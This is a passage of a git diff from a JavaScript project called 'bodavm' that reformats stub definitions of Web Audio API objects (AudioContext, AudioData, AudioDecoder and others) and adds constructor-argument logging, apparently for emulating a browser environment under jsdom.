"buffer_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "playbackRate", {configurable:true, enumerable:true, get:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "playbackRate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "detune", {configurable:true, enumerable:true, get:function detune (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "detune_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loop", {configurable:true, enumerable:true, get:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loop_get", arguments)}, set:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loopStart", {configurable:true, enumerable:true, get:function loopStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopStart_get", arguments)}, set:function loopStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopStart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loopEnd", {configurable:true, enumerable:true, get:function loopEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopEnd_get", arguments)}, set:function loopEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopEnd_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "start", arguments)}},'prototype'); +// AudioBufferSourceNode对象 + +bodavm.memory.globalobj['AudioBufferSourceNode'] = function AudioBufferSourceNode() { + console.log_copy('AudioBufferSourceNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioBufferSourceNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioBufferSourceNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioBufferSourceNode'], "AudioBufferSourceNode"); +bodavm.memory.globalobj['AudioBufferSourceNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; +bodavm.memory.globalobj['AudioBufferSourceNode'].__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode']; +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "buffer", { + configurable: true, + enumerable: true, + get: function buffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "buffer_get", arguments); + }, + set: function buffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "buffer_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "playbackRate", { + configurable: true, + enumerable: true, + get: function playbackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "playbackRate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "detune", { + configurable: true, + enumerable: true, + get: function detune() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "detune_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loop", { + configurable: true, + enumerable: true, + get: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loop_get", arguments); + }, + set: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loopStart", { + configurable: true, + enumerable: true, + get: function loopStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopStart_get", arguments); + }, + set: function loopStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopStart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loopEnd", { + configurable: true, + enumerable: true, + get: function loopEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopEnd_get", arguments); + }, + set: function loopEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopEnd_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "start", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioContext.js b/env_xbb_lastest_jsdom/env/AudioContext.js index 0b543834..6908a9c7 100644 --- a/env_xbb_lastest_jsdom/env/AudioContext.js +++ b/env_xbb_lastest_jsdom/env/AudioContext.js @@ -1,17 +1,114 @@ -// AudioContext对象 -bodavm.memory.globalobj['AudioContext'] = function AudioContext(){this._boarg= new bodaobj.window.AudioContext();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioContext'], "AudioContext"); -bodavm.memory.globalobj['AudioContext'].prototype.__proto__=bodavm.memory.globalobj['BaseAudioContext'].prototype; -bodavm.memory.globalobj['AudioContext'].__proto__=bodavm.memory.globalobj['BaseAudioContext']; -bodavm.toolsFunc.defineProperty('AudioContext', "baseLatency", {configurable:true, enumerable:true, get:function baseLatency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "baseLatency_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "outputLatency", {configurable:true, enumerable:true, get:function outputLatency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "outputLatency_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "createMediaElementSource", {configurable:true, enumerable:true, writable:true, value:function createMediaElementSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaElementSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "createMediaStreamDestination", {configurable:true, enumerable:true, writable:true, value:function createMediaStreamDestination (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaStreamDestination", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "createMediaStreamSource", {configurable:true, enumerable:true, writable:true, value:function createMediaStreamSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaStreamSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "getOutputTimestamp", {configurable:true, enumerable:true, writable:true, value:function getOutputTimestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "getOutputTimestamp", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "resume", {configurable:true, enumerable:true, writable:true, value:function resume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "resume", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "suspend", {configurable:true, enumerable:true, writable:true, value:function suspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "suspend", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "sinkId", {configurable:true, enumerable:true, get:function sinkId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "sinkId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "onsinkchange", {configurable:true, enumerable:true, get:function onsinkchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "onsinkchange_get", arguments)}, set:function onsinkchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "onsinkchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "setSinkId", {configurable:true, enumerable:true, writable:true, value:function setSinkId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "setSinkId", arguments)}},'prototype'); +// AudioContext对象 + +bodavm.memory.globalobj['AudioContext'] = function AudioContext() { + console.log_copy('AudioContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.AudioContext(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioContext'], "AudioContext"); +bodavm.memory.globalobj['AudioContext'].prototype.__proto__ = bodavm.memory.globalobj['BaseAudioContext'].prototype; +bodavm.memory.globalobj['AudioContext'].__proto__ = bodavm.memory.globalobj['BaseAudioContext']; +bodavm.toolsFunc.defineProperty('AudioContext', "baseLatency", { + configurable: true, + enumerable: true, + get: function baseLatency() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "baseLatency_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "outputLatency", { + configurable: true, + enumerable: true, + get: function outputLatency() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "outputLatency_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "createMediaElementSource", { + configurable: true, + enumerable: true, + writable: true, + value: function createMediaElementSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaElementSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "createMediaStreamDestination", { + configurable: true, + enumerable: true, + writable: true, + value: function createMediaStreamDestination() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaStreamDestination", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "createMediaStreamSource", { + configurable: true, + enumerable: true, + writable: true, + value: function createMediaStreamSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaStreamSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "getOutputTimestamp", { + configurable: true, + enumerable: true, + writable: true, + value: function getOutputTimestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "getOutputTimestamp", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "resume", { + configurable: true, + enumerable: true, + writable: true, + value: function resume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "resume", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "suspend", { + configurable: true, + enumerable: true, + writable: true, + value: function suspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "suspend", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "sinkId", { + configurable: true, + enumerable: true, + get: function sinkId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "sinkId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "onsinkchange", { + configurable: true, + enumerable: true, + get: function onsinkchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "onsinkchange_get", arguments); + }, + set: function onsinkchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "onsinkchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "setSinkId", { + configurable: true, + enumerable: true, + writable: true, + value: function setSinkId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "setSinkId", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioData.js b/env_xbb_lastest_jsdom/env/AudioData.js index 76dd2a5c..ef941a04 100644 --- a/env_xbb_lastest_jsdom/env/AudioData.js +++ b/env_xbb_lastest_jsdom/env/AudioData.js @@ -1,13 +1,97 @@ -// AudioData对象 -bodavm.memory.globalobj['AudioData'] = function AudioData(){if (!(this instanceof AudioData)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioData': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioData'], "AudioData"); -bodavm.toolsFunc.defineProperty('AudioData', "format", {configurable:true, enumerable:true, get:function format (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "format_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "sampleRate", {configurable:true, enumerable:true, get:function sampleRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "sampleRate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "numberOfFrames", {configurable:true, enumerable:true, get:function numberOfFrames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "numberOfFrames_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "numberOfChannels", {configurable:true, enumerable:true, get:function numberOfChannels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "numberOfChannels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "allocationSize", {configurable:true, enumerable:true, writable:true, value:function allocationSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "allocationSize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "copyTo", {configurable:true, enumerable:true, writable:true, value:function copyTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "copyTo", arguments)}},'prototype'); +// AudioData对象 + +bodavm.memory.globalobj['AudioData'] = function AudioData() { + console.log_copy('AudioData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioData)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioData': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioData'], "AudioData"); +bodavm.toolsFunc.defineProperty('AudioData', "format", { + configurable: true, + enumerable: true, + get: function format() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "format_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "sampleRate", { + configurable: true, + enumerable: true, + get: function sampleRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "sampleRate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "numberOfFrames", { + configurable: true, + enumerable: true, + get: function numberOfFrames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "numberOfFrames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "numberOfChannels", { + configurable: true, + enumerable: true, + get: function numberOfChannels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "numberOfChannels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "allocationSize", { + configurable: true, + enumerable: true, + writable: true, + value: function allocationSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "allocationSize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "copyTo", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "copyTo", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioDecoder.js b/env_xbb_lastest_jsdom/env/AudioDecoder.js index 8c4f7593..114c3046 100644 --- a/env_xbb_lastest_jsdom/env/AudioDecoder.js +++ b/env_xbb_lastest_jsdom/env/AudioDecoder.js @@ -1,14 +1,93 @@ -// AudioDecoder对象 -bodavm.memory.globalobj['AudioDecoder'] = function AudioDecoder(){if (!(this instanceof AudioDecoder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioDecoder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioDecoder'], "AudioDecoder"); -bodavm.memory.globalobj['AudioDecoder'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['AudioDecoder'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('AudioDecoder', "isConfigSupported", {configurable:true, enumerable:true, writable:true, value:function isConfigSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].undefined, "AudioDecoder", "isConfigSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('AudioDecoder', "decodeQueueSize", {configurable:true, enumerable:true, get:function decodeQueueSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "decodeQueueSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "configure", {configurable:true, enumerable:true, writable:true, value:function configure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "configure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "decode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioDecoder', "ondequeue", {configurable:true, enumerable:true, get:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "ondequeue_get", arguments)}, set:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "ondequeue_set", arguments)}},'prototype'); +// AudioDecoder对象 + +bodavm.memory.globalobj['AudioDecoder'] = function AudioDecoder() { + console.log_copy('AudioDecoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioDecoder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioDecoder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioDecoder'], "AudioDecoder"); +bodavm.memory.globalobj['AudioDecoder'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['AudioDecoder'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('AudioDecoder', "isConfigSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isConfigSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].undefined, "AudioDecoder", "isConfigSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('AudioDecoder', "decodeQueueSize", { + configurable: true, + enumerable: true, + get: function decodeQueueSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "decodeQueueSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "configure", { + configurable: true, + enumerable: true, + writable: true, + value: function configure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "configure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "decode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "ondequeue", { + configurable: true, + enumerable: true, + get: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "ondequeue_get", arguments); + }, + set: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "ondequeue_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioDestinationNode.js b/env_xbb_lastest_jsdom/env/AudioDestinationNode.js index 96d17215..d0720432 100644 --- a/env_xbb_lastest_jsdom/env/AudioDestinationNode.js +++ b/env_xbb_lastest_jsdom/env/AudioDestinationNode.js @@ -1,6 +1,27 @@ -// AudioDestinationNode对象 -bodavm.memory.globalobj['AudioDestinationNode'] = function AudioDestinationNode(){if (!(this instanceof AudioDestinationNode)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioDestinationNode'], "AudioDestinationNode"); -bodavm.memory.globalobj['AudioDestinationNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['AudioDestinationNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('AudioDestinationNode', "maxChannelCount", {configurable:true, enumerable:true, get:function maxChannelCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDestinationNode'].prototype, "AudioDestinationNode", "maxChannelCount_get", arguments)}, set:undefined},'prototype'); +// AudioDestinationNode对象 + +bodavm.memory.globalobj['AudioDestinationNode'] = function AudioDestinationNode() { + console.log_copy('AudioDestinationNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioDestinationNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioDestinationNode'], "AudioDestinationNode"); +bodavm.memory.globalobj['AudioDestinationNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['AudioDestinationNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('AudioDestinationNode', "maxChannelCount", { + configurable: true, + enumerable: true, + get: function maxChannelCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDestinationNode'].prototype, "AudioDestinationNode", "maxChannelCount_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioEncoder.js b/env_xbb_lastest_jsdom/env/AudioEncoder.js index 